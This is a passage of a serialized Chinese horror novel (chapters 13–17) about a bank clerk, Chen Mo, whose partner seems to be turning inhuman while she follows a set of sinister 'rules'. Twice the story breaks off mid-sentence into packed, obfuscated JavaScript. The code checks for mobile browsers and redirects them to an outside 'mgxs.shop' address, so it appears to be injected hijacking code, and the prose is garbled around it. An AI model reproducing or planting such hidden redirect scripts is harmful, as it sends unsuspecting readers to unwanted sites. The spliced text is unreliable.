空气里,又有了那股淡淡的味道。 油油的,腻腻的。 她站在那儿,看着那个坑,闻着那个味道。 然后她推开门,走出去。 门在身后关上。 她站在走廊里,等电梯。 电梯上来,门打开。 她走进去。 电梯下行的时候,她靠着电梯壁,闭着眼。 脑子里只有一个念头。 他会回来的。 他就在回来的路上。 而她,无处可去。 所以就这样吧。 就这样过下去。 反正从小到大,她学会的就是这个。 忍耐。 接受。 不反抗。 她睁开眼,看着电梯门上自己的倒影。 那个倒影,也在看她。 她看着那个自己,突然想起小时候。 七八岁,躺在床上,盯着天花板,想:等我长大了,一定要离开这里。 她长大了。 她没有离开。 她只是换了一个天花板。 还是灰白色的。 还是一个人。 还是在等。 电梯门开了。 她走出去,走进人群,走进阳光里。 新的一天开始了。 和昨天一样。 和明天一样。 和以后每一天一样。 --- 第十三章完 14. 第十四章 他回来了 第十四章他回来了 一 陈默下班的时候,天已经黑了。 六点四十,十二月的天黑得早。她走出银行大门,冷风扑面而来,她缩了缩脖子,把围巾裹紧。 手机在口袋里,没有消息。 一整天都没有消息。 他说“明天回去”,但没说几点。她不知道他什么时候到,不知道推开门的时候会不会看见他。 地铁上人很多,晚高峰,挤得像沙丁鱼罐头。她被挤在车门旁边,一只手拉着扶手,一只手护着包。车窗外的隧道灯一盏一盏往后闪,快得看不清。 她盯着那些光,脑子里空空的。 什么都没想。 什么都不敢想。 到站了,她被人群推下去,走出地铁站,往家走。 小区里很安静,路灯亮着,把她的影子拉得很长。她踩着那个影子,一步一步往前走。 走到楼下,她抬头看七楼的窗户。 黑的。 他没回来。 她松了一口气,又憋了一口气。 说不上来是什么感觉。 电梯上行,开门,掏钥匙,开门。 屋里黑的。 她开灯,换鞋,放下包,走进客厅。 沙发上的坑,又深了一点。 她站在那儿,看着那个坑。 然后她听见一个声音。 “回来了?” 二 陈默猛地转身。 王志强坐在餐桌旁边,黑暗里,她没看见他。 他坐在那儿,看着她。 那两只眼睛,在黑暗里,发着光。 陈默攥紧手指。 “你……什么时候回来的?” “下午。” 下午。 她上班的时候,他就回来了。 她什么都不知道。 他站起来,走过来。 一步一步,走到她面前。 那股味道——油油的,腻腻的,甜酸甜酸的——扑面而来。比之前更浓了。浓到她几乎要窒息。 他低头看着她。 那两只发光的眼睛,离她很近。 “十八天。”他说。 陈默没说话。 “你一个人过了十八天。” 她还是没说话。 他伸出手,放在她脸上。 凉的。 比之前更凉了。 像刚从冰柜里拿出来的东西。 那只手在她脸上慢慢移动,从额头到眼睛,从眼睛到鼻子,从鼻子到嘴巴。 “没跑。”他说。 那个语气,不是疑问,是陈述。 她知道他没跑。 “好。”他说。 他收回手,转身走回沙发,坐下。 “做饭。” 陈默站着没动。 他抬头看她。 “做饭。” 她转身走进厨房。 冰箱里没什么东西。这几天她一个人,随便吃点就行,没买菜。她翻了半天,找到几个鸡蛋,一把挂面,还有半棵白菜。 她开始做饭。 切白菜,打鸡蛋,烧水,煮面。 手在抖。 刀差点切到手指。 她深吸一口气,稳住手。 做好饭,端出去。 两碗面,放在茶几上。 王志强拿起筷子,开始吃。 陈默坐在旁边,看着他吃。 他吃面的样子,和之前一样。夹一筷子,送进嘴里,嚼,咽下去。嚼的时候,嘴巴还是不动。只有喉咙在动,一下一下,把东西咽下去。 她看着那个喉咙,突然注意到一件事。 他的喉咙,在动的时候,会鼓起一块。 不是正常人咽东西那种鼓起。 是一大块,像有什么东西从里面往外顶。 她盯着那块鼓起,移不开眼。 他吃完一碗,放下筷子。 “你不吃?” 陈默低头看自己的碗。 面已经坨了。 她拿起筷子,开始吃。 什么味道都没有。 她嚼着,咽下去。 他看着她吃。 那两只发光的眼睛,一直盯着她。 她低着头,不敢抬头。 吃完,她站起来收碗。 “放着。”他说。 她停下。 “明天收。” 她放下碗,不知道该干什么。 他拍了拍沙发旁边的位置。 “过来坐。” 她走过去,坐下。 离他半米远。 他伸手,把她拉近。 那只手,凉得她打了个哆嗦。 他把她拉到自己旁边,让她靠着他的肩膀。 那股味道,更浓了。 她忍着不呼吸。 但忍不住。 每一次呼吸,都把那个味道吸进去。 他靠着沙发,闭着眼。 那两只眼睛,不发光了。 就像睡着了一样。 陈默坐在他旁边,一动不动。 不知道过了多久,他开口了。 “这十八天,你在想什么?” 陈默愣了一下。 “没想什么。” “没想跑?” 她没说话。 他睁开眼,看着她。 那两只眼睛,又亮了。 “想过吗?” 她看着他。 想过吗? 想过。 站在门口,拿着钥匙,想过。 站在窗边,看着外面,想过。 躺床上,盯着天花板,想过。 但她说:“没有。” 他盯着她,看了几秒。 然后笑了。 那个笑,和之前一样。贴上去的,不动的,不属于那张脸的。 “好。”他说。 他又闭上眼。 陈默坐着,一动不动。 三 那一夜,陈默又没睡。 她躺在王志强旁边,睁着眼,盯着天花板。 他睡着,呼吸均匀。 那股味道,整个卧室都是。她觉得自己像躺在一个正在腐烂的东西旁边。 她慢慢转过头,看他的脸。 黑暗里,他的脸看不太清。只能看见一个轮廓。 那个轮廓,和平时一样。 但她看着看着,总觉得有什么不对。 不是轮廓不对。 是……别的东西。 她盯着那张脸,盯了很久。 然后她看见了。 他的脸,在动。 不是睡着的那种动。 是皮肤底下,有什么东西在动。 像虫子,在皮下面爬。 一下,一下,一下。 从额头爬到脸颊,从脸颊爬到下巴,从下巴爬到脖子。 然后消失了。 陈默屏住呼吸。 他的脸,又恢复平静。 但那一下,她看见了。 真的看见了。 她慢慢往后挪,想离他远一点。 但他伸出手,把她拉回去。 那只手,凉得像冰。 “别动。”他说。 他没睁眼。 但他知道她在动。 陈默僵在那儿,一动不动。 他的手,还搭在她身上。 凉的,沉的,像一块石头。 她就这样躺着,一直躺到天亮。 四 早上,陈默起床的时候,王志强已经不在了。 她不知道他什么时候走的。 她下楼的时候,在电梯里碰见一个邻居。 是个老太太,住五楼,平时见面会点头打招呼。 今天她看见陈默,愣了一下。 “小陈啊,你脸色怎么这么差?” 陈默摇摇头。 “没事,没睡好。” 老太太看着她,欲言又止。 电梯到了一楼,门开了。 陈默走出去。 老太太在后面,叫住她。 “小陈。” 她回头。 老太太站在电梯里,看着她。 “你……你小心点。” 电梯门关上了。 陈默站在那儿,看着那扇关上的门。 小心点? 小心什么? 她不知道。 但她记住了那个眼神。 老太太看她的眼神,像看一个快死的人。 五 一整天,陈默都心不在焉。 办业务的时候,差点把客户的钱数错。老张在旁边提醒她,她才反应过来。 中午休息的时候,她坐在食堂角落,盯着餐盘发呆。 老张坐过来。 “陈默,你今天怎么回事?” 她摇摇头。 “没事。” 老张看着她,没说话。 过了一会儿,他开口了。 “陈默,有些话我不知道该不该说。” 陈默抬起头。 老张看着她,表情有点复杂。 “你那个男朋友……他是不是……” 他没说完。 陈默等着。 老张叹了口气。 “算了,没什么。” 他站起来,走了。 陈默坐在那儿,盯着他的背影。 老张想说什么? 他是不是什么? 她不知道。 但她突然想起一件事。 老张在银行干了十几年,见过的人比她多得多。 他是不是看出什么了? 六 晚上下班,陈默回到家。 王志强在家。 他坐在沙发上,看电视。 和以前一样。 陈默换了鞋,放下包,不知道该干什么。 “过来坐。”他说。 她走过去,坐下。 他伸手,把她拉近。 那只手,还是凉的。 她靠在他身上,闻着那股味道。 电视里放着什么综艺节目,罐头笑声一阵一阵的。 她盯着屏幕,什么都看不进去。 过了一会儿,他开口了。 “陈默。” 她转头看他。 他看着电视,没看她。 “你知道我为什么找你吗?” 陈默愣了一下。 “什么?” 他转过头,看着她。 那两只眼睛,在灯光下,发着光。 “我找了很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她低头看自己。 身上没有虫子。 还好。 她抬起头,看着卧室门。 门开着。 里面黑漆漆的,什么都看不见。 但她知道,那些虫子还在。 还在他脸上爬。 她站在那儿,不知道该怎么办。 跑? 跑哪儿去? 门在那边。 她可以跑。 但她没动。 她就站在那儿,看着那扇门。 不知道过了多久,卧室里传来一个声音。 “陈默。” 她浑身一僵。 “进来。” 她没动。 “进来。” 那个声音,还是他的声音。 但那个语气,不对。 不是命令,不是威胁。 是邀请。 像在叫她吃饭一样平常。 她慢慢走过去。 走到卧室门口,往里看。 他还躺着。 还是那个姿势。 脸上什么都没有。 没有虫子。 干干净净。 他睁开眼,看着她。 那两只眼睛,发着光。 “做噩梦了?”他问。 陈默张了张嘴。 “我……我看见……” “看见什么?” 她看着他。 那张脸,干干净净。 什么都没有。 “没什么。”她说。 他笑了。 那个笑,贴上去的,不动的。 “过来睡。” 她走过去,躺下。 他伸手,把她拉近。 凉的。 那股味道,更浓了。 她闭上眼。 脑子里全是那些虫子。 白的,细细的,从他的嘴里爬出来。 她现在躺在他旁边。 那些虫子,会不会爬到她身上? 她不知道。 她只知道,她不能睁开眼。 睁开眼,就会看见。 九 天亮的时候,陈默醒了。 王志强已经不在了。 她躺在床上,盯着天花板。 阳光从窗帘缝里漏进来,照在她身上,暖洋洋的。 但她觉得冷。 从里到外的冷。 她坐起来,下床,走到卫生间。 镜子里的自己,又变样了。 眼袋更黑了,脸色更灰了,下巴上的痘更多了。 但最可怕的,是眼睛。 那两只眼睛,有一点发亮。 不是发光,是发亮。 就像他的眼睛那样。 她盯着那双眼睛,看了很久。 然后她打开水龙头,用冷水洗脸。 洗了一遍,又洗了一遍,又洗了一遍。 洗到脸发红,才停下来。 抬起头,看镜子。 那双眼睛,还在发亮。 洗不掉。 --- 第十四章完 15. 第十五章 眼睛 第十五章眼睛 一 陈默请假了。 她给周行长发微信,说身体不舒服,想休息一天。 周行长回了一个字:好。 她把手机放下,坐在沙发上,盯着茶几上的镜子。 那面小圆镜是她早上从卫生间拿出来的。她想再看看自己的眼睛。 现在看,那点亮还在。 不是很明显,要凑近了仔细看才能发现。但她知道它在那儿。 那点亮,不属于她。 她盯着镜子里的自己,盯了很久。 然后她把镜子扣在茶几上,站起来,走到窗边。 外面阳光很好,十二月难得的好天气。有人在楼下遛狗,有小孩在跑,有老人在晒太阳。 很正常的世界。 她看着那些人,突然想:他们的眼睛,会发光吗? 不会。 只有她的会。 还有他的。 二 中午的时候,门响了。 陈默浑身一僵。 钥匙捅进锁孔的声音,拧开,推门。 王志强走进来。 他看了她一眼。 “没上班?” 陈默点点头。 “不舒服。” 他走过来,站在她面前。 低头看她。 那两只眼睛,在中午的光线里,发着光。 和她的眼睛一样。 “让我看看。”他说。 他伸出手,抬起她的下巴。 盯着她的眼睛看。 看了很久。 然后他笑了。 那个笑,贴上去的,不动的。 “快了。”他说。 快了。 又是这个词。 陈默没说话。 他松开手,转身走进卧室。 过了一会儿,他出来,手里拿着一个东西。 是一个小瓶子。 透明的,里面装着什么液体,也是透明的。 “每天滴一次。”他说。 他把瓶子放在茶几上。 陈默看着那个瓶子。 “这是什么?” “眼睛的。” 眼睛的? 什么眼睛的? 他没解释。 他走到门口,回头看了她一眼。 “别忘了。” 门关上了。 陈默盯着那个小瓶子,盯了很久。 然后她拿起来,对着光看。 液体是透明的,和水一样。 她拧开盖子,闻了闻。 没有味道。 她不知道这是什么。 但她知道,她不会滴的。 三 那天晚上,陈默又失眠了。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边,睡着,呼吸均匀。 那股味道,更浓了。 她已经习惯了那个味道。或者说,她的鼻子已经闻不出来了。 但她知道它还在。 她慢慢转过头,看他的脸。 黑暗里,那张脸,又在动。 皮肤底下,有什么东西在爬。 从额头爬到眼睛,从眼睛爬到鼻子,从鼻子爬到嘴巴。 然后嘴巴张开。 那些虫子,又出来了。 白的,细细的,从他的嘴里、眼睛里、鼻子里往外冒。 爬满他整张脸。 陈默看着那些虫子,一动不动。 这一次,她没有跑。 她就那么看着。 看着那些虫子在他脸上爬,爬到他脖子上,爬到他胸口。 然后,有一只虫子,从他脸上掉下来。 掉在床上。 往她这边爬。 陈默盯着那只虫子。 白的,细细的,一寸来长,像蛆,但比蛆细。 它爬得很慢,一伸一缩,一伸一缩。 往她这边来。 陈默没动。 就看着它爬。 它爬过枕头,爬过被子,爬到她的手边。 停下来。 抬起头——如果它有头的话——对着她的手。 然后它爬上去了。 爬上她的手背。 她能感觉到它。凉凉的,软软的,在她手背上蠕动。 它爬过手背,爬过手腕,爬进袖子里。 顺着她的胳膊往上爬。 爬过手肘,爬过上臂,爬到肩膀。 然后它钻进她的领口。 爬到她的胸口。 停下来。 不动了。 陈默屏住呼吸。 她能感觉到那个东西,就趴在她胸口,一动不动。 像在听她的心跳。 一下,一下,一下。 听了一会儿,它又开始动。 往上爬。 爬过脖子,爬到下巴,爬到脸上。 然后,它往她的眼睛里爬。 陈默闭上眼睛。 但她能感觉到它。 它在她眼皮上蠕动,找缝隙,想钻进去。 她闭紧眼睛。 它钻不进去。 它在眼皮上爬了一会儿,放弃了。 又往下爬。 爬过鼻子,爬到嘴巴。 然后,它往她的嘴里爬。 陈默咬紧牙关。 它在她嘴唇上蠕动,想钻进去。 她咬紧牙。 它钻不进去。 它在嘴唇上爬了一会儿,又放弃了。 然后,它爬回她脸上,趴在她的脸颊上。 不动了。 陈默就这么躺着,脸上趴着一只虫子,一动不动。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387627|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道过了多久,那只虫子开始动了。 从她脸上爬下来,爬回床上,爬回他那边。 爬回他身上。 钻进他的嘴里。 消失了。 陈默睁开眼。 他看着还在睡。 脸上干干净净,什么都没有。 她慢慢转过头,看天花板。 胸口那个位置,那只虫子趴过的地方,还留着一点凉。 她伸手摸了摸。 凉的。 和它的手一样凉。 四 天亮的时候,陈默起来,走进卫生间。 镜子里的自己,眼睛更亮了。 那点亮,现在一眼就能看见。 她盯着那双眼睛,看了很久。 然后她低头看自己的手。 手背上,那只虫子爬过的地方,有一道淡淡的痕迹。 不是红,不是肿,是别的。 是一道浅浅的印子,像什么东西从皮肤底下往外透。 她伸手摸了摸。 凉的。 和那个虫子一样的凉。 她打开水龙头,使劲搓那个地方。 搓红了,搓疼了,那道印子还在。 洗不掉。 五 那天,陈默去上班了。 她坐在工位上,办业务,和客户说话,敲键盘。 一切都和以前一样。 但老张看她的眼神不对。 中午休息的时候,老张走过来。 “陈默。” 她抬起头。 老张看着她,表情复杂。 “你的眼睛……” 陈默没说话。 老张张了张嘴,又闭上。 然后他叹了口气。 “你自己多注意。” 他走了。 陈默坐在那儿,盯着他的背影。 注意什么? 注意眼睛? 还是注意别的? 她不知道。 她只知道,从今天开始,没人敢直视她了。 六 晚上回到家,王志强不在。 陈默一个人做饭,一个人吃,一个人洗碗。 然后她坐在沙发上,盯着那面镜子。 她又把镜子拿起来了。 看着里面的自己。 那双眼睛,在灯光下,发着光。 和那天晚上他的眼睛一样。 她盯着那双眼睛,盯了很久。 然后她放下镜子,站起来,走进卧室。 躺在床上,等。 等他回来。 等那些虫子再来。 等她彻底变成他那样。 她不知道还要等多久。 但她知道,快了。 他说快了。 --- 第十五章完 16. 第十六章 三天 第十六章贷款 一 那瓶液体被陈默收进了床头柜最下面的抽屉,压在一叠旧衣服下面。 她没有滴。 一天,两天,三天。 王志强没问。 他像完全忘了这件事。 每天早上出门,晚上回来,吃饭,看电视,睡觉。偶尔骂两句,偶尔让她倒水,偶尔躺在沙发上玩手机。 和以前一样。 和规则出现之前一样。 陈默有时候会恍惚,觉得那些事是不是根本没发生过?那张纸条,那双发光的眼睛,那些虫子,那个味道——是不是都是她做梦? 但每次照镜子,看见自己眼睛里的那点亮,她就知道不是梦。 那点亮还在。 洗不掉。 二 第四天晚上,凌晨三点多。 陈默睡得正沉,被一阵砸门声惊醒。 “砰——砰——砰——!” 是拳头砸门的声音,不是敲门。每一下都砸得整栋楼都在抖。 “开门!陈默!开门!” 王志强的声音,含糊,大舌头,喝大了。 陈默躺在床上,一动不动。 “砰——砰——砰——!” “陈默!我操你妈的聋了?!开门!” 她开始数。 一、二、三…… 砸门声一下接一下,骂声越来越难听。 十一、十二、十三…… 她很久没数过了。自从那次之后,他都是自己拿钥匙开门,从来不敲。 今天他没带钥匙? 二十三、二十四、二十五…… 门外突然安静了。 和第一次一样,那一下安静来得毫无征兆。 陈默攥紧被角。 二十八、二十九—— 三十。 她下床,走到门口,握住门把手。 凉的。 她深吸一口气,拧开。 王志强站在门外。 走廊的声控灯没亮。他整个人站在黑暗里,只能看见一个轮廓,和那两只发光的眼睛。 陈默往后退了一步。 他迈进来,灯亮了。 还是那个王志强。脸红,眼睛肿,一身酒气。西装歪了,领口敞着,领带勒在脖子上。 他盯着她看。 “磨蹭什么呢?” 陈默没说话。 他挤过去,一屁股砸进沙发里。 “倒水。” 陈默去倒水。 端出来的时候,他已经睡着了。 她站在那儿,看着他。 和第一次一模一样。 她不知道自己该松一口气,还是该更害怕。 三 那天之后,王志强又变回正常了。 正常地骂人,正常地喝酒,正常地让她倒洗脚水,正常地嫌她这不好那不好。 陈默有时候会想,也许这才是真的他。 那些发光的眼睛,那些虫子,那个味道——也许是她疯了。 但那点亮还在她眼睛里。 她每天早上照镜子,都看见它。 越来越亮。 四 一周后的晚上,王志强突然说:“邻居老冯晚上叫吃饭,你和我一起去。” 陈默愣了一下。 “老冯?” “就楼下那个,开出租车的。” 陈默想了想,好像见过。一个五十多岁的男人,瘦,黑,见人就笑。 “我不想去。”她说。 王志强看她一眼。 “为什么?” “我……不认识他们。” “去了就认识了。”他把手机放下,“你的性格古怪,也不和邻居走动。人家请吃饭是给面子,你不去?” 陈默没说话。 他站起来,拿起外套。 “换衣服,十分钟后出门。” 陈默坐着没动。 他回头看她。 “快点儿。” 她站起来,走进卧室。 五 老冯家在五楼,两室一厅,比他们家小一点,但收拾得很干净。 陈默和王志强到的时候,已经来了五六个人。客厅里摆着一张圆桌,上面放着几盘凉菜,几瓶白酒,几个酒杯。 “哟,强哥来了!”老冯迎上来,笑着递烟,“嫂子也来了,稀客稀客!” 陈默点点头。 “你好。” 老冯把他们让到座位上。 陈默坐下,扫了一圈桌上的人。 加上她和王志强,一共八个。四男四女,都是中年人的样子。有的她眼熟,好像在电梯里见过;有的完全没印象。 王志强已经开始聊上了。 “老冯,你这酒不错啊,哪儿买的?” “朋友带的,说是纯粮食酒,你尝尝。” 王志强倒了一杯,喝了一口。 “行啊,够劲儿。” 旁边几个人也附和着,你一句我一句。 陈默坐在那儿,格格不入。 她不认识这些人,不知道他们叫什么,做什么的,和王志强什么关系。 她只能低着头,默默吃饭。 六 菜一道一道上。 老冯老婆在厨房忙活,端出来一盘红烧肉,一盘糖醋鱼,一盘炒青菜,还有一大碗排骨汤。 “嫂子吃菜,别客气。”老冯招呼着。 陈默点点头,夹了一筷子青菜。 旁边的人聊得热火朝天。 “老张那个车,上个月被人刮了,修了两千多。” “那可不,现在修车贵。” “你们听说了吗?三单元那个老李,儿子考上大学了,请客呢。” “是吗?哪天?咱们得去随个礼。” 陈默听着,一句话都插不进去。 她继续低头吃饭。 王志强在旁边,喝得脸都红了,嗓门越来越大。 “我跟你们说,现在的工程,不好做。甲方拖款,工人要钱,夹在中间难啊。” “强哥你还能难?你那么大老板。” “大什么大,也就混口饭吃。” “谦虚了谦虚了。” 陈默听着这些话,觉得很陌生。 王志强在外面,原来是这样的? 她不知道。 三年了,她从没见过他和邻居来往。 今天第一次见。 七 不知道聊到哪儿了,王志强的声音突然大了起来。 “我媳妇,银行的!” 陈默筷子一顿。 她抬起头,看着他。 他满脸通红,眼睛眯着,正跟旁边的人吹牛。 “柜员怎么了?柜员也有门路!我跟你们说,缺钱给她说,让她给你们贷款!” 陈默脑子里“嗡”的一声。 第三条规则:如果他在酒桌上吹牛说“我女朋友是银行的,有的是钱”,三天内必须提分手。 三天内。 必须提分手。 她盯着王志强,想从他脸上看出点什么。 但他表情自然,和任何一个喝多了吹牛的男人一样。没有发光,没有那个贴上去的笑,没有半点古怪。 就是正常。 正常得不能再正常。 旁边的人笑着起哄。 “嫂子,那以后贷款就找你了啊!” “对对对,嫂子可得帮忙!” 陈默勉强笑了一下。 “我……我就是柜员,贷款不归我管。” “哎呀,柜员也认识人嘛,牵个线就行!” 陈默不知道说什么。 王志强在旁边笑。 “她就这样,内向,不爱说话。” 几个人点点头,继续喝酒。 陈默低着头,盯着碗里的饭。 脑子里乱成一团。 三天内必须提分手。 她怎么办? 八 又坐了一会儿,陈默实在待不下去了。 她站起来。 “我有点不舒服,先回去了。” 王志强抬头看她。 “怎么了?” “没事,就是有点累。” 他看了她两秒。 “行,那你先回。” 陈默跟老冯两口子打了个招呼,走了。 门关上的那一刻,她靠在墙上,深吸了一口气。 走廊里很安静。声控灯亮了一下,又灭了。 她站了一会儿,然后上楼,回家。 开门,开灯,换鞋。 坐在沙发上,盯着茶几。 脑子里反复响着那句话。 “我媳妇是银行的,有的是钱。” 三天内。 必须提分手。 她掏出手机,看了一眼日期。 今天算第一天。 还有三天。 三天后,她必须提分手。 然后呢? 九 陈默坐在沙发上,想了很多。 如果提分手,王志强会怎么样? 他会同意吗? 会发火吗? 会……露出那个样子吗? 她不知道。 她只记得规则第三条说:三天内必须提分手。 没说提了之后会怎么样。 没说能不能成功。 只说必须提。 她想起那个老人,那张纸条,那些规则。 第一条,她遵守了。数到三十再开门。 第二条,她违反了。反驳了那句“那你别要啊”。 然后他变了。 现在第三条来了。 如果她遵守,会发生什么? 如果她违反呢? 她不敢想。 十 但比这些更可怕的,是另一个问题。 提了分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387628|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手之后,她怎么办? 她现在住的房子,是王志强的。如果分手了,她必须搬出去。 搬去哪儿? 租房? 她算过很多次了。每个月工资六千出头,房租至少两千五,水电燃气两百,交通两百,吃饭一千五,电话费一百,日用品三百——刚好够,一分不剩。 但那是她一个人住的情况。 现在她和王志强一起住,不用付房租。 如果分手了,她得自己付。 两千五的房租,她付得起吗? 付得起。 但付完之后,剩下三千五。 三千五够什么? 吃饭,交通,日用品——刚好。 一分不剩。 不能生病,不能有事,不能有任何意外。 而且,租房要押一付三。 她拿不出那么多钱。 十一 还有工作。 周行长一直在催那个对公户。 王志强的公司,要在她们行开户。 如果分了手,那个户肯定没了。 周行长会怎么对她? 她不敢想。 银行的工作,她干了五年。 五年了,还是柜员。 升不上去,不是因为没能力,是因为没资源。 在银行,资源就是一切。 谁手里有大客户,谁就能升。 她没有。 她只有一个王志强。 一个可能不是人的王志强。 但如果连他都没了,她还有什么? 十二 还有妈妈。 妈妈早就说了,当她死了。 如果她回去,妈妈会怎么说? “我早就告诉过你。” “你活该。” “还有脸回来?” 她能承受吗? 她不知道。 十三 陈默坐在沙发上,坐了很久。 窗外的月亮很亮,照进来,在地上切出一条光。 她盯着那条光,脑子里反复算那笔账。 工资六千。 房租两千五。 水电两百。 交通两百。 吃饭一千五。 话费一百。 日用品三百。 剩一千。 一千块,够干什么? 买件衣服就没了。 生个病就没了。 出点什么事就没了。 她在这个城市待了十年,存款不到两万。 两万能干什么? 交三个月房租? 买张回老家的车票? 她不知道。 她只知道,她不敢算下去了。 十四 凌晨三点,门响了。 王志强回来了。 陈默坐在沙发上,没动。 他走进来,看了她一眼。 “还没睡?” “睡不着。” 他没说话,走进卧室,躺下。 过了一会儿,他喊她。 “陈默。” 她走进去。 他躺在床上,看着她。 “过来。” 她走过去,躺下。 刚躺下,他的手就伸过来了。 从背后抱住她。 满身的酒气,还有那股味道——油油的,腻腻的,甜酸甜酸的。 他的手在她身上抚摸。 她僵住了。 她已经记不得上一次是什么时候了。 很久很久以前。 久到她都快忘了。 她不敢动。 就那么躺着,让他摸。 脑子里反复在想那些问题。 提分手,还是不提? 提了,她怎么办? 不提,规则怎么办? 她闭上眼。 王志强在动。 凉的,沉的,像一块石头在她身上移动。 她忍着。 一直忍着。 忍到那只手停下来。 忍到一切结束。 忍到天亮。 十五 早上,陈默起来的时候,王志强已经不在了。 她坐在床边,盯着自己的手。 那只手,昨晚被他摸过的地方,有一点凉。 不是心理作用,是真的凉。 她搓了搓,还是凉。 洗了洗,还是凉。 她站在卫生间里,看着镜子里的自己。 那双眼睛,更亮了。 那点亮,现在像两颗小灯泡,在眼眶里发光。 她盯着那双眼睛,看了很久。 然后她想起那个问题。 提分手,还是不提? 她不知道。 但她知道,今天算第二天。 还有两天。 --- 第十六章完 17. 第十七章 像回到三年前 第十七章三天(续) 一 陈默醒来的时候,发现自己躺在王志强怀里。 她愣了一下。 已经多久没有这样了? 她记不清了。 三年里,他们睡在一张床上,但中间永远隔着一个人的距离。他背对着她,她背对着他,像两个陌生人被迫挤在一个房间里。 但现在,她枕着他的胳膊,他的另一只手搭在她腰上,呼吸均匀,还没醒。 她不敢动。 就那么躺着,看着他的脸。 窗帘没拉严,冬天的阳光从缝隙里漏进来,落在他脸上,把那层皮肤照得有点发亮。 她看着那张脸。 高挺的鼻梁,因为牙齿不齐有点微凸的嘴,因为中年发福和脖子连在一起的下巴。个头不高,头很小,脸圆圆的。 这张脸,她看了三年。 但此刻看着,突然想起刚认识的时候。 那时候他还没有现在这么胖。下巴是三层,不是连成一片。笑起来牙齿那里看起来很滑稽,但眼睛里有光,自信的光芒,神采奕奕。 那时候他说话很幽默,总是逗得她哈哈大笑。 那时候他牵她的手,会把她手装在自己兜里。 那时候…… 陈默鼻头一酸。 眼泪没忍住,滑了下来。 王志强动了动。 他迷迷糊糊地睁开眼,看见她在哭,愣了一下。 然后他伸出手,把她搂进怀里。 “宝贝,怎么哭了?” 陈默把脸埋在他胸口,没说话。 他揉着她的头发,下巴抵在她头顶。 “是不是想妈妈了?” 陈默没说话。 她不知道该说什么。 她不知道自己为什么哭。 也许是因为太久没被他这样抱过了。 也许是因为太久没听到“宝贝”这两个字了。 也许是因为她突然想起来,三年前的自己,曾经以为自己是天底下最幸福的女人。 二 “起床收拾收拾。”王志强说,“好久没逛街了,今天带你去逛逛。” 陈默抬起头,看着他。 “逛街?” “嗯。”他坐起来,伸了个懒腰,“咱们在外面吃个饭,你最爱的辣子鸡。” 陈默看着他,说不出话。 辣子鸡。 她最爱吃辣子鸡。 他居然还记得。 三 商场门口人很多,周末,又是年底,到处都是拎着大包小包的人。 王志强停好车,走过来,很自然地牵起陈默的手。 陈默愣了一下。 那只手,是温的。 不是晚上那种凉,是正常的、活人的温度。 她低头看着那只手,被他牵着往前走。 他的手很大,把她的手整个包在里面。 她想起刚在一起的时候,每次出门,他都会把她的手装在自己兜里。冬天冷,他的手就是她的暖炉。 不知道从什么时候开始,他不再牵她的手了。 不知道从什么时候开始,他眼里不再有她了。 但现在,他又牵了。 陈默跟在他后面,看着他的背影。 那个背影,和以前一样,又不一样。 她说不上来。 四 一进商场,王志强就看见了彩票站。 “走,刮几张去。” 他拉着陈默走过去,掏出手机扫码,买了五张刮刮乐。 “来,你刮。”他把卡片递给她。 陈默接过卡片,看着手里那些花花绿绿的纸。 她想起刚认识的时候,约会经常来刮刮乐。那时候陈默很穷,但又总做着暴富的梦,她相信自己一定会中奖的,只是缺个机会。刮出十块钱就能高兴半天,刮出五十块就像中了头奖,王志强为了哄她开心,成为了彩票站的常客。 那时候多简单。 她拿着卡片,慢慢刮开。 第一个,没中。 第二个,也没中。 第三个,中了十块。 王志强在旁边笑。 “行啊,回本了。” 第四个,没中。 第五个,也没中。 王志强接过卡片,看了一眼,扔进垃圾桶。 “走吧,喝奶茶去。” 五 奶茶店在商场三楼,排了很长的队。 王志强站在队尾,陈默站在他旁边。 她看着他的侧脸。 以前他总是不让她喝奶茶,说糖分太高,说会长胖,说对身体不好。后来她喝得多了,他也跟着喝。再后来,她自己点外卖的时候,偶尔也会给他带一杯。 他早就被同化了。 “两杯柠檬红茶,少冰少糖。”他对店员说。 然后回头看她。 “还是少冰少糖对吧?” 陈默点点头。 他还记得。 他居然还记得。 奶茶做好,他接过两杯,把其中一杯递给她。 她接过来,喝了一口。 凉的,甜的,还有一点柠檬的酸涩。 她很久没喝过这么好喝的奶茶了。 六 拿上奶茶,王志强牵着她的手,往商场里面走。 走着走着,陈默发现不对。 这是往金店走的方向。 她停住脚步。 “去哪儿?” 王志强回头看她,嘴角带着笑。 “金店。” “去金店干嘛?” 他没回答,拉着她继续走。 走到 DBE 门口,他才停下来。 “这次出差,账要回来了。”他说,“走,给你买个金镯子。” 陈默愣住了。 金镯子? “不用,”她下意识拒绝,“金子现在太贵了,别买了。” 王志强看着她,嘴角含笑。 那个笑,她认识。 是得意的,狡黠的,像小孩子偷到了糖的那种笑。 是他以前经常有的笑。 “走。”他说。 他拽着她,往金店里面走。 陈默被他拉着,看着他的背影。 那个背影,她看了三年。 但此刻看着,突然像回到了三年前。 三年前的一个普普通通的下午。 